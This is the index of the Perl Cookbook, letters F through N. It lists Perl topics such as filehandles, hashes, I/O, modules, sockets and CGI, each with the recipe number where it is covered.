
Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

failure, returning from subroutines : 10.10. Returning Failure
false strings : 1.0. Introduction
fcntl(�)
7.14. Doing Non-Blocking I/O
10.10. Returning Failure
fdirs program (example) : 9.7. Processing All Files in a Directory Recursively
fdopen(�) (IO::Handle) : 7.19. Opening and Closing File Descriptors by Number
FETCH(�) : 13.15. Creating Magic Variables with tie
fetching URLs from Perl scripts : 20.1. Fetching a URL from a Perl Script
fifolog program (example) : 16.11. Making a Process Look Like a File with Named Pipes
FIFOs (named pipes) : 16.11. Making a Process Look Like a File with Named Pipes
file access
(see also directories; file contents)
7.0. Introduction
9.0. Introduction
access modes : 7.0. Introduction
caching open filehandles : 7.17. Caching Open Output Filehandles
copying filehandles : 7.20. Copying Filehandles
copying or moving files : 9.3. Copying or Moving a File
deleting files : 9.2. Deleting a File
editing files : (see file contents)
filtering filename input : 7.7. Writing a Filter
flushing output : 7.12. Flushing Output
locking files
7.11. Locking a File
7.21. Program: netlock
region-specific locks : 7.22. Program: lockarea
non-blocking I/O : 7.14. Doing Non-Blocking I/O
number of bytes to read : 7.15. Determining the Number of Bytes to Read
opening files : 7.1. Opening a File
opening/closing file descriptors : 7.19. Opening and Closing File Descriptors by Number
printing to multiple filehandles : 7.18. Printing to Many Filehandles Simultaneously
processing all files in directories
9.5. Processing All Files in a Directory
9.7. Processing All Files in a Directory Recursively
reading from multiple filehandles : 7.13. Reading from Many Filehandles Without Blocking
storing files in program text : 7.6. Storing Files Inside Your Program Text
timestamps : 9.1. Getting and Setting Timestamps
file contents
(see also directories; file access)
8.0. Introduction
9.0. Introduction
adding records to wtmp file : 8.18. Program: tailwtmp
configuration files, reading : 8.16. Reading Configuration Files
continually growing files, reading : 8.5. Trailing a Growing File
counting lines/paragraphs/records : 8.2. Counting Lines (or Paragraphs or Records) in a File
extracting single line : 8.8. Reading a Particular Line in a File
fixed-length records
8.0. Introduction
8.15. Reading Fixed-Length Records
modifying
with -i option : 7.9. Modifying a File in Place with -i Switch
with temporary files : 7.8. Modifying a File in Place with Temporary File
without temporary files : 7.10. Modifying a File in Place Without a Temporary File
processing all words in : 8.3. Processing Every Word in a File
processing binary files : 8.11. Processing Binary Files
random access I/O : 8.12. Using Random-Access I/O
random lines from : 8.6. Picking a Random Line from a File
randomizing line order : 8.7. Randomizing All Lines
reading backwards : 8.4. Reading a File Backwards by Line or Paragraph
reading lines with continuation characters : 8.1. Reading Lines with Continuation Characters
reading strings from binary files : 8.14. Reading a String from a Binary File
reading/writing hash records to file : 11.10. Reading and Writing Hash Records to Text Files
tctee program : 8.19. Program: tctee
testing for trustworthiness : 8.17. Testing a File for Trustworthiness
text files as database arrays : 14.7. Treating a Text File as a Database Array
variable-length text fields : 8.9. Processing Variable-Length Text Fields
viewing lastlog file information : 8.20. Program: laston
file descriptors, opening/closing : 7.19. Opening and Closing File Descriptors by Number
file stat cache (_) : 9.0. Introduction
__FILE__ symbol : 10.4. Determining Current Function Name
File::Basename module : 9.10. Splitting a Filename into Its Component Parts
File::Copy module : 9.3. Copying or Moving a File
File::Find module
9.7. Processing All Files in a Directory Recursively
9.8. Removing a Directory and Its Contents
File::KGlob module : 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
File::LockDir module : 7.21. Program: netlock
File::stat module
8.5. Trailing a Growing File
9.0. Introduction
FileCache module : 7.17. Caching Open Output Filehandles
FileHandler module : 7.0. Introduction
filehandles : 7.0. Introduction
caching open filehandles : 7.17. Caching Open Output Filehandles
copying : 7.20. Copying Filehandles
local
7.16. Storing Filehandles in Variables
10.13. Saving Global Values
non-blocking I/O : 7.14. Doing Non-Blocking I/O
passing
7.16. Storing Filehandles in Variables
10.13. Saving Global Values
12.5. Determining the Caller's Package
printing to multiple simultaneously : 7.18. Printing to Many Filehandles Simultaneously
reading from many : 7.13. Reading from Many Filehandles Without Blocking
reporting filenames in errors : 7.4. Making Perl Report Filenames in Errors
storing as variables
7.0. Introduction
7.16. Storing Filehandles in Variables
tied : 13.15. Creating Magic Variables with tie
filenames
expanding tildes in : 7.3. Expanding Tildes in Filenames
filtering as input : 7.7. Writing a Filter
matching with patterns : 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
multiple, for same file : 9.4. Recognizing Two Names for the Same File
parsing : 9.10. Splitting a Filename into Its Component Parts
renaming : 9.9. Renaming Files
reporting in errors : 7.4. Making Perl Report Filenames in Errors
sorting
9.0. Introduction
9.12. Program: lst
strange, opening files with : 7.2. Opening Files with Unusual Filenames
fileparse(�) : 9.10. Splitting a Filename into Its Component Parts
files
deleting last line of : 8.10. Removing the Last Line of a File
temporary : 7.5. Creating Temporary Files
filesystem : (see directories)
filtering filenames as input : 7.7. Writing a Filter
filtering output : 16.5. Filtering Your Own Output
FindBin module : 12.7. Keeping Your Own Module Directory
finddepth(�) : 9.8. Removing a Directory and Its Contents
finding
most common anything : 5.14. Finding the Most Common Anything
patterns : (see pattern matching; regular expressions)
findlogin program (example) : 7.7. Writing a Filter
FIONREAD call : 7.15. Determining the Number of Bytes to Read
firewalls, connecting through : 17.18. Program: fwdport
fisher_yates_shuffle(�) : 4.17. Randomizing an Array
fixed-length records
8.0. Introduction
8.15. Reading Fixed-Length Records
FixNum class : 13.14. Overloading Operators
fixstyle program (example) : 1.17. Program: fixstyle
fixstyle2 program (example) : 1.17. Program: fixstyle
flattened lists : 4.0. Introduction
floating-point numbers : 2.0. Introduction
comparing : 2.2. Comparing Floating-Point Numbers
rounding : 2.3. Rounding Floating-Point Numbers
flock(�)
7.11. Locking a File
7.21. Program: netlock
floor(�) : 2.3. Rounding Floating-Point Numbers
flushing output : 7.12. Flushing Output
fmt program : 1.12. Reformatting Paragraphs
folded_demo program (example) : 13.15. Creating Magic Variables with tie
foodfind program : 5.8. Inverting a Hash
=for escape pod directive : 12.16. Documenting Your Module with Pod
foreach(�) : 4.12. Finding the First List Element That Passes a Test
fork(�)
(see also processes)
16.0. Introduction
16.10. Communicating Between Related Processes
19.6. Executing Commands Without Shell Escapes
avoiding zombies : 16.19. Avoiding Zombie Processes
closing socket after : 17.9. Closing a Socket After Forking
forking servers : 17.11. Forking Servers
non-forking servers : 17.13. Non-Forking Servers
pre-forking servers : 17.12. Pre-Forking Servers
forms (HTML) : 19.0. Introduction
saving or emailing : 19.13. Saving a Form to a File or Mail Pipe
sticky widgets : 19.11. Creating Sticky Widgets
submitting : 20.2. Automating Form Submission
Frame widget (Tk) : 15.14. Creating Menus with Tk
fresh hyperlinks, finding : 20.8. Finding Fresh Links
Friedl, Jeffrey : 6.10. Speeding Up Interpolated Matches
FTP clients : 18.2. Being an FTP Client
full-screen mode : 15.0. Introduction
functions : (see subroutines)
interpolating within strings : 1.10. Interpolating Functions and Expressions Within Strings
methods vs. : 13.9. Writing an Inheritable Class
references to : 11.4. Taking References to Functions
fuzzy matching : 6.13. Approximate Matching
fwdport program (example) : 17.18. Program: fwdport

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

\G anchor : 6.14. Matching from Where the Last Pattern Left Off
/g pattern-matching modifier : 6.0. Introduction
finding Nth matches : 6.5. Finding the Nth Occurrence of a Match
matching where last pattern ended : 6.14. Matching from Where the Last Pattern Left Off
garbage collection : 13.2. Destroying an Object
circular data structures and : 13.13. Coping with Circular Data Structures
gaussian_rand(�) (example) : 2.10. Generating Biased Random Numbers
GDBM files : 14.0. Introduction
db2gdbm program (example) : 14.3. Converting Between DBM Files
locking : 14.5. Locking DBM Files
GDBM_File module : 11.14. Transparently Persistent Data Structures
generic classes : 13.0. Introduction
GET method
19.0. Introduction
19.1. Writing a CGI Script
get(�) (LWP::Simple) : 20.1. Fetching a URL from a Perl Script
gethostbyaddr(�) : 17.7. Identifying the Other End of a Socket
gethostbyname(�) : 17.7. Identifying the Other End of a Socket
getopt(�) (Getopt::Std) : 15.1. Parsing Program Arguments
Getopt::Long module : 15.1. Parsing Program Arguments
Getopt::Std module : 15.1. Parsing Program Arguments
GetOptions(�) (Getopt::Long) : 15.1. Parsing Program Arguments
getopts(�) (Getopt::Std) : 15.1. Parsing Program Arguments
getpcomidx program (example) : 7.12. Flushing Output
getpeername(�) : 17.14. Writing a Multi-Homed Server
getprotobyname(�) : 17.0. Introduction
getsockopt(�) : 17.13. Non-Forking Servers
GetTerminalSize( ) : 15.4. Determining Terminal or Window Size
ggh program (example) : 14.11. Program: ggh - Grep Netscape Global History
glob keyword : 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
global values, saving : 10.13. Saving Global Values
globbing : (see pattern matching)
gmtime(�)
3.0. Introduction
3.3. Converting Epoch Seconds to DMYHMS
3.8. Printing a Date
greedy pattern matching
6.0. Introduction
6.15. Greedy and Non-Greedy Matches
grep(�), extracting array subsets : 4.13. Finding All Elements in an Array Matching Certain Criteria
grepauth program (example) : 6.10. Speeding Up Interpolated Matches
GUIs (graphical user interfaces) : 15.0. Introduction

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

h2ph tool : 12.14. Using h2ph to Translate C #include Files
h2xs tool
12.8. Preparing a Module for Distribution
12.15. Using h2xs to Make a Module with C Code
handles : (see filehandles)
handling signals : (see signals)
hard links : 9.0. Introduction
hashes
4.6. Extracting Unique Elements from a List
5.0. Introduction
adding elements to
5.1. Adding an Element to a Hash
10.11. Prototyping Functions
anonymous : 11.0. Introduction
of arrays : 11.2. Making Hashes of Arrays
arrays and : 5.0. Introduction
comparing for keys : 5.11. Finding Common or Different Keys in Two Hashes
deleting elements of : 5.3. Deleting from a Hash
dutree program : 5.16. Program: dutree
finding most common anything : 5.14. Finding the Most Common Anything
for list unions, intersections, differences : 4.7. Finding Elements in One Array but Not Another
inverting : 5.8. Inverting a Hash
merging : 5.10. Merging Hashes
multiple values per key : 5.7. Hashes with Multiple Values Per Key
presizing : 5.13. Presizing a Hash
printing : 5.5. Printing a Hash
reading/writing records to file : 11.10. Reading and Writing Hash Records to Text Files
references as elements : 5.12. Hashing References
references to : 11.3. Taking References to Hashes
representing data relationships : 5.15. Representing Relationships Between Data
retrieving in insertion order : 5.6. Retrieving from a Hash in Insertion Order
slices of : 4.7. Finding Elements in One Array but Not Another
sorting elements : 5.9. Sorting a Hash
testing for keys : 5.2. Testing for the Presence of a Key in a Hash
ties for (examples) : 13.15. Creating Magic Variables with tie
traversing : 5.4. Traversing a Hash
HEAD method : 19.0. Introduction
head(�) (LWP::Simple) : 20.7. Finding Stale Links
=head2 pod directive : 12.16. Documenting Your Module with Pod
headerfy program (example) : 6.6. Matching Multiple Lines
help
documentation conventions : Conventions Used in This Book
Perl references : Other Books
pod documentation for modules : 12.16. Documenting Your Module with Pod
sorting =head1 sections : 15.19. Program: tkshufflepod
web references : 19.0. Introduction
here documents : 1.0. Introduction
indenting : 1.11. Indenting Here Documents
hex(�) : 2.16. Converting Between Octal and Hexadecimal
hexadecimal numbers : 2.16. Converting Between Octal and Hexadecimal
hidden(�) : 19.12. Writing a Multiscreen CGI Script
high-resolution timers : 3.9. High-Resolution Timers
history.db file, grepping : 14.11. Program: ggh - Grep Netscape Global History
hiweb program (example) : 19.1. Writing a CGI Script
hopdelta program : 3.11. Program: hopdelta
hostname, obtaining your own : 17.8. Finding Your Own Name and Address
HotKey module : 15.8. Using POSIX termios
hours : (see date and time)
HREF fields, substitutions for : 20.15. Program: hrefsub
hrefsub program (example) : 20.15. Program: hrefsub
HTML
converting ASCII to/from : 20.4. Converting ASCII to HTML
extracting tags : 20.6. Extracting or Removing HTML Tags
extracting URLs from : 20.3. Extracting URLs
finding stale/fresh links : 20.7. Finding Stale Links
formatting, shortcuts in CGI.pm : 19.7. Formatting Lists and Tables with HTML Shortcuts
putting links around URLs : 6.21. Program: urlify
templates : 20.9. Creating HTML Templates
text substitutions : 20.14. Program: htmlsub
HTML forms : 19.0. Introduction
automating submission : 20.2. Automating Form Submission
saving/mailing : 19.13. Saving a Form to a File or Mail Pipe
sticky widgets : 19.11. Creating Sticky Widgets
HTML::Entities module : 20.4. Converting ASCII to HTML
HTML::FormatText module : 20.5. Converting HTML to ASCII
HTML::LinkExtor module : 20.3. Extracting URLs
HTML::TreeBuilder module : 20.5. Converting HTML to ASCII
htmlsub program (example) : 20.14. Program: htmlsub
HTTP methods
19.0. Introduction
19.1. Writing a CGI Script
HTTP, debugging exchanges in : 19.9. Debugging the Raw HTTP Exchange
hyperlinks : 9.0. Introduction
stale/fresh : 20.7. Finding Stale Links

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

-I command-line option : 12.7. Keeping Your Own Module Directory
-i command-line option : 7.7. Writing a Filter
modifying files with : 7.9. Modifying a File in Place with -i Switch
/i pattern-matching modifier : 6.0. Introduction
I/O operations : 7.0. Introduction
buffering
7.0. Introduction
7.12. Flushing Output
8.0. Introduction
17.3. Communicating over TCP
controlling for other programs : 16.8. Controlling Input and Output of Another Program
flushing output : 7.12. Flushing Output
non-blocking : 7.14. Doing Non-Blocking I/O
preprocessing input : 16.6. Preprocessing Input
random-access I/O : 8.12. Using Random-Access I/O
reading/writing to other programs : 16.4. Reading or Writing to Another Program
ic_cookies program (example) : 19.10. Managing Cookies
idempotency : 19.0. Introduction
If-Modified-Since header : 20.10. Mirroring Web Pages
imaginary numbers : 2.15. Using Complex Numbers
importing from modules
10.14. Redefining a Function
12.0. Introduction
INADDR_ANY
17.1. Writing a TCP Client
17.14. Writing a Multi-Homed Server
@INC array : 12.7. Keeping Your Own Module Directory
#include header, translating with h2ph : 12.14. Using h2ph to Translate C #include Files
indeces of array elements : (see arrays)
indents : (see whitespace)
indices of hash elements : 5.0. Introduction
indirect filehandles
7.0. Introduction
7.16. Storing Filehandles in Variables
indirect notation : 13.0. Introduction
inet_ntoa(�) : 17.0. Introduction
infix (->) notation : 11.0. Introduction
inheritance
13.0. Introduction
13.9. Writing an Inheritable Class
13.12. Solving the Data Inheritance Problem
initializers : (see constructors)
initializing
arrays : 4.1. Specifying a List In Your Program
hashes : 5.0. Introduction
modules : 12.6. Automating Module Clean-Up
inodes : 9.0. Introduction
input
checking for waiting : 15.9. Checking for Waiting Input
comma-separated, parsing : 1.15. Parsing Comma-Separated Data
controlling for other programs : 16.8. Controlling Input and Output of Another Program
editing : 15.11. Editing Input
executing shell commands from (CGI) : 19.6. Executing Commands Without Shell Escapes
expanding variables in : 1.8. Expanding Variables in User Input
Expect-controlled programs and : 15.13. Controlling Another Program with Expect
extracting variable-length fields : 8.9. Processing Variable-Length Text Fields
from HTML forms : (see CGI programming)
parsing command-line arguments : 15.1. Parsing Program Arguments
preprocessing : 16.6. Preprocessing Input
random-access I/O : 8.12. Using Random-Access I/O
reading from keyboard : 15.6. Reading from the Keyboard
reading from other programs : 16.4. Reading or Writing to Another Program
reading passwords : 15.10. Reading Passwords
reading records with pattern separators : 6.7. Reading Records with a Pattern Separator
reading STDERR from programs : 16.7. Reading STDERR from a Program
installing
modules from CPAN : 12.17. Building and Installing a CPAN Module
signal handlers : 16.15. Installing a Signal Handler
instance data
13.0. Introduction
13.3. Managing Instance Data
circular data structures : 13.13. Coping with Circular Data Structures
inheritance and : 13.12. Solving the Data Inheritance Problem
instance methods : 13.0. Introduction
int(�) : 2.3. Rounding Floating-Point Numbers
integers : (see numbers)
interactivity, testing for : 15.2. Testing Whether a Program Is Running Interactively
interfaces : (see user interfaces)
Internet domain sockets : 17.0. Introduction
Internet services : 18.0. Introduction
DNS lookups : 18.1. Simple DNS Lookups
expn and vrfy programs (examples) : 18.9. Program: expn and vrfy
FTP clients : 18.2. Being an FTP Client
mail : (see email)
pinging machines : 18.7. Pinging a Machine
simulating telnet connection : 18.6. Simulating Telnet from a Program
Usenet news : 18.4. Reading and Posting Usenet News Messages
whois service : 18.8. Using Whois to Retrieve Information from the InterNIC
intersections on lists : 4.7. Finding Elements in One Array but Not Another
inverting hashes : 5.8. Inverting a Hash
IO::File module
7.0. Introduction
7.1. Opening a File
temporary files : 7.5. Creating Temporary Files
IO::Handle module : 7.0. Introduction
IO::Pty module : 15.13. Controlling Another Program with Expect
IO::Select module
7.13. Reading from Many Filehandles Without Blocking
16.9. Controlling the Input, Output, and Error of Another Program
IO::Socket module
closing socket after forking : 17.9. Closing a Socket After Forking
IO::Socket::INET class : 17.1. Writing a TCP Client
UDP clients and servers : 17.4. Setting Up a UDP Client
IO::Stty module : 15.13. Controlling Another Program with Expect
ioctl(�)
7.15. Determining the Number of Bytes to Read
10.10. Returning Failure
12.14. Using h2ph to Translate C #include Files
IP addresses
determining your own : 17.8. Finding Your Own Name and Address
DNS lookups : 18.1. Simple DNS Lookups
expn and vrfy programs (examples) : 18.9. Program: expn and vrfy
identifying at socket ends : 17.7. Identifying the Other End of a Socket
multi-homed servers : 17.14. Writing a Multi-Homed Server
packed, converting to ASCII strings : 17.0. Introduction
IPC::Open2 module : 16.8. Controlling Input and Output of Another Program
IPC::Open3 : 16.9. Controlling the Input, Output, and Error of Another Program
IPC::Shareable : 16.12. Sharing Variables in Different Processes
is_safe(�) : 8.17. Testing a File for Trustworthiness
is_verysafe(�) : 8.17. Testing a File for Trustworthiness
@ISA array : 13.0. Introduction
isa(�) (UNIVERSAL) : 13.8. Determining Subclass Membership
iterations : (see arrays; lists)
iterator variables : 4.4. Doing Something with Every Element in a List

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

jam program (example) : 12.14. Using h2ph to Translate C #include Files

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

keyboard input
(see also
(see also input)
15.6. Reading from the Keyboard
15.11. Editing Input
checking for : 15.9. Checking for Waiting Input
keys(�)
5.4. Traversing a Hash
5.6. Retrieving from a Hash in Insertion Order
5.9. Sorting a Hash
5.11. Finding Common or Different Keys in Two Hashes
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
keys, hash : (see hashes)
kill command
listing available signals : 16.13. Listing Available Signals
sending signals : 16.14. Sending a Signal
killtags program (example) : 6.6. Matching Multiple Lines

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

\L string escape : 1.9. Controlling Case
\l string escape : 1.9. Controlling Case
labels, menu : 15.14. Creating Menus with Tk
last(�) : 4.12. Finding the First List Element That Passes a Test
laston program : 8.20. Program: laston
lc(�) : 1.9. Controlling Case
lcfirst(�) : 1.9. Controlling Case
leading whitespace, removing : 1.14. Trimming Blanks from the Ends of a String
lexical scope
10.2. Making Variables Private to a Function
10.13. Saving Global Values
libraries : 12.0. Introduction
libwww-perl modules : 20.0. Introduction
line breaks
(see also whitespace)
6.6. Matching Multiple Lines
counting lines in files : 8.2. Counting Lines (or Paragraphs or Records) in a File
defining lines : 8.11. Processing Binary Files
deleting last file line : 8.10. Removing the Last Line of a File
extracting ranges of lines : 6.8. Extracting a Range of Lines
matching across multiple lines : 6.6. Matching Multiple Lines
random lines from files : 8.6. Picking a Random Line from a File
randomizing file line order : 8.7. Randomizing All Lines
reading files backwards : 8.4. Reading a File Backwards by Line or Paragraph
reading with continuation characters : 8.1. Reading Lines with Continuation Characters
line mode interfaces : 15.0. Introduction
__LINE__ symbol : 10.4. Determining Current Function Name
LINE: (implicit loop label) : 7.7. Writing a Filter
Lingua::EN::Inflect module : 2.18. Printing Correct Plurals
links : (see hyperlinks)
extracting from HTML : 20.3. Extracting URLs
list assignment : 1.3. Exchanging Values Without Using Temporary Variables
list context, detecting : 10.6. Detecting Return Context
listen(�) : 17.0. Introduction
lists : 4.0. Introduction
arrays vs. : 4.0. Introduction
circular : 4.16. Implementing a Circular List
extracting particular elements : 4.6. Extracting Unique Elements from a List
extracting particular subsets : 4.13. Finding All Elements in an Array Matching Certain Criteria
flattened : 4.0. Introduction
initializing : 4.1. Specifying a List In Your Program
iterating through all elements
4.4. Doing Something with Every Element in a List
4.12. Finding the First List Element That Passes a Test
permute programs : 4.19. Program: permute
printing with commas : 4.2. Printing a List with Commas
processing multiple elements : 4.11. Processing Multiple Elements of an Array
randomizing element order : 4.17. Randomizing an Array
reversing elements of : 4.10. Reversing an Array
unions, intersections, differences : 4.7. Finding Elements in One Array but Not Another
words program (example) : 4.18. Program: words
loader program (example) : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
loading modules : (see modules)
local(�)
10.13. Saving Global Values
10.14. Redefining a Function
16.16. Temporarily Overriding a Signal Handler
locale settings : 6.12. Honoring Locale Settings in Regular Expressions
localizing functions : 10.14. Redefining a Function
localtime(�)
3.0. Introduction
3.8. Printing a Date
lockarea program : 7.22. Program: lockarea
locking
blocking signals : 16.20. Blocking Signals
DBK files : 14.5. Locking DBM Files
files
7.11. Locking a File
7.21. Program: netlock
region-specific locks : 7.22. Program: lockarea
log files (web server)
19.0. Introduction
20.12. Parsing a Web Server Log File
processing : 20.13. Processing Server Logs
log(�) : 2.13. Taking Logarithms
log10(�) : 2.13. Taking Logarithms
log_base(�) (example) : 2.13. Taking Logarithms
logarithms : 2.13. Taking Logarithms
Logfile::Apache : 20.13. Processing Server Logs
logical functionality in patterns : 6.17. Expressing AND, OR, and NOT in a Single Pattern
login sessions : 15.0. Introduction
logn(�) (Math::Complex) : 2.13. Taking Logarithms
loop variables : 4.4. Doing Something with Every Element in a List
lowercase program (example) : 7.7. Writing a Filter
lowercase, converting to uppercase : 1.9. Controlling Case
lst program : 9.12. Program: lst
lvaluable functions : 1.1. Accessing Substrings
LWP modules : 20.0. Introduction
extracting HTML tags : 20.6. Extracting or Removing HTML Tags
LWP::Heuristic module : 20.1. Fetching a URL from a Perl Script
LWP::Request module : 20.1. Fetching a URL from a Perl Script
LWP::Response module : 20.1. Fetching a URL from a Perl Script
LWP::RobotUA module : 20.11. Creating a Robot
LWP::Simple module : 20.1. Fetching a URL from a Perl Script
mirroring web pages : 20.10. Mirroring Web Pages
LWP::UserAgent module : 20.1. Fetching a URL from a Perl Script

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

/m pattern-matching modifier : 6.0. Introduction
matching multiple lines : 6.6. Matching Multiple Lines
m// operator, ~ operator with : 1.1. Accessing Substrings
magic ARGV : (see magic open)
magic open
5.16. Program: dutree
8.19. Program: tctee
16.6. Preprocessing Input
magic variables : 13.15. Creating Magic Variables with tie
mail : (see email)
Mail::Mailer module : 18.3. Sending Mail
map(�) : 4.15. Sorting a List by Computable Field
matching
patterns : (see pattern matching)
regular expressions : (see regular expressions)
Soundex matching : 1.16. Soundex Matching
Math::Complex module
2.13. Taking Logarithms
2.15. Using Complex Numbers
Math::Random module : 2.9. Making Numbers Even More Random
Math::Trig module : 2.11. Doing Trigonometry in Degrees, not Radians
Math::TrulyRandom module : 2.9. Making Numbers Even More Random
matrix multiplication : 2.14. Multiplying Matrices
maximal matching quantifiers : 6.15. Greedy and Non-Greedy Matches
memoizing technique : 4.19. Program: permute
memory
garbage collection : 13.2. Destroying an Object
circular data structures and : 13.13. Coping with Circular Data Structures
preallocating for hashes : 5.13. Presizing a Hash
Menubutton widget (Tk) : 15.14. Creating Menus with Tk
menus with Tk toolkit : 15.14. Creating Menus with Tk
merging DBM files : 14.4. Merging DBM Files
merging hashes : 5.10. Merging Hashes
messages, error : (see errors)
methods
13.0. Introduction
13.3. Managing Instance Data
calling indirectly : 13.7. Calling Methods Indirectly
functions vs. : 13.9. Writing an Inheritable Class
generating with AUTOLOAD
13.0. Introduction
13.11. Generating Attribute Methods Using AUTOLOAD
indirect notation : 13.0. Introduction
overridden : 13.10. Accessing Overridden Methods
references to : 11.8. Creating References to Methods
methods, HTTP
19.0. Introduction
19.1. Writing a CGI Script
minigrep program (example) : 6.17. Expressing AND, OR, and NOT in a Single Pattern
minimal matching quantifiers : 6.15. Greedy and Non-Greedy Matches
minutes : (see date and time)
mirror(�) (LWP::Simple) : 20.10. Mirroring Web Pages
mirroring web pages : 20.10. Mirroring Web Pages
mjd_permute program (example) : 4.19. Program: permute
MLDBM module
11.14. Transparently Persistent Data Structures
14.0. Introduction
14.8. Storing Complex Data in a DBM File
persistent data : 14.9. Persistent Data
mldbm_demo program (example) : 14.9. Persistent Data
mod_perl module : 19.5. Making CGI Scripts Efficient
modified hyperlinks, finding : 20.8. Finding Fresh Links
modifying files : (see file contents)
modules : 12.0. Introduction
AutoLoader module : 12.10. Speeding Up Module Loading with Autoloader
automatic set-up/clean-up : 12.6. Automating Module Clean-Up
CPAN : (see CPAN)
designing interface for : 12.1. Defining a Module's Interface
directories of : 12.7. Keeping Your Own Module Directory
documenting with pod : 12.16. Documenting Your Module with Pod
sorting =head1 sections : 15.19. Program: tkshufflepod
finding, program for : 12.19. Program: Finding Versions and Descriptions of Installed Modules
loading at run time : 12.3. Delaying use Until Run Time
overriding built-in functions : 12.11. Overriding Built-In Functions
preparing for distribution : 12.8. Preparing a Module for Distribution
private variables and functions : 12.4. Making Variables Private to a Module
reporting errors like built-ins : 12.12. Reporting Errors and Warnings Like Built-Ins
SelfLoader module : 12.9. Speeding Module Loading with SelfLoader
template for : 12.18. Example: Module Template
trapping errors in use/requre : 12.2. Trapping Errors in require or use
writing in C : 12.15. Using h2xs to Make a Module with C Code
months : (see date and time)
moving files : 9.3. Copying or Moving a File
mtime field : 9.0. Introduction
multi-homed servers : 17.14. Writing a Multi-Homed Server
multidimensional arrays : 4.0. Introduction
multidimensional associative array emulation syntax : 9.4. Recognizing Two Names for the Same File
multiple inheritance : 13.0. Introduction
multiple-byte character matching : 6.18. Matching Multiple-Byte Characters
multiplication
of matrices : 2.14. Multiplying Matrices
x operator : 2.14. Multiplying Matrices
my keyword : 10.2. Making Variables Private to a Function

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

-n command-line option : 7.7. Writing a Filter
Nagle's algorithm : 17.3. Communicating over TCP
named pipes
16.11. Making a Process Look Like a File with Named Pipes
16.22. Program: sigrand
names of current subroutines : 10.4. Determining Current Function Name
natural logarithms : 2.13. Taking Logarithms
navigation web with robots : 20.11. Creating a Robot
NDBM files : 14.0. Introduction
nested HTML tags : 20.6. Extracting or Removing HTML Tags
nested subroutines : 10.16. Nesting Subroutines
Net::DNS module : 18.9. Program: expn and vrfy
Net::FTP module : 18.2. Being an FTP Client
Net::NNTP module : 18.4. Reading and Posting Usenet News Messages
Net::POP3 module : 18.5. Reading Mail with POP3
Net::Telnet : 18.6. Simulating Telnet from a Program
Net::Whois module : 18.8. Using Whois to Retrieve Information from the InterNIC
Net:\Ping module : 18.7. Pinging a Machine
netlock program : 7.21. Program: netlock
Netscape history.db file : 14.11. Program: ggh - Grep Netscape Global History
new(�) : 13.0. Introduction
new_tmpfile(�) (IO::File) : 7.5. Creating Temporary Files
newline characters : (see line breaks)
newlines : (see line breaks; whitespace)
news messages (Usenet) : 18.4. Reading and Posting Usenet News Messages
NFA (non-deterministic finite automata) : 6.0. Introduction
noecho input mode : 15.10. Reading Passwords
NOFILE constant : 7.17. Caching Open Output Filehandles
non-blocking I/O : 7.14. Doing Non-Blocking I/O
non-deterministic finite automata : 6.0. Introduction
non-forking servers : 17.13. Non-Forking Servers
non-greedy pattern matching
6.0. Introduction
6.15. Greedy and Non-Greedy Matches
nonforker program (example) : 17.13. Non-Forking Servers
NOT functionality in regular expressions : 6.17. Expressing AND, OR, and NOT in a Single Pattern
nounder_demo program (example) : 13.15. Creating Magic Variables with tie
nstore(�) : 11.13. Storing Data Structures to Disk
numbers
(see also values)
1.4. Converting Between ASCII Characters and Values
2.0. Introduction
adding commas to : 2.17. Putting Commas in Numbers
complex (imaginary) : 2.15. Using Complex Numbers
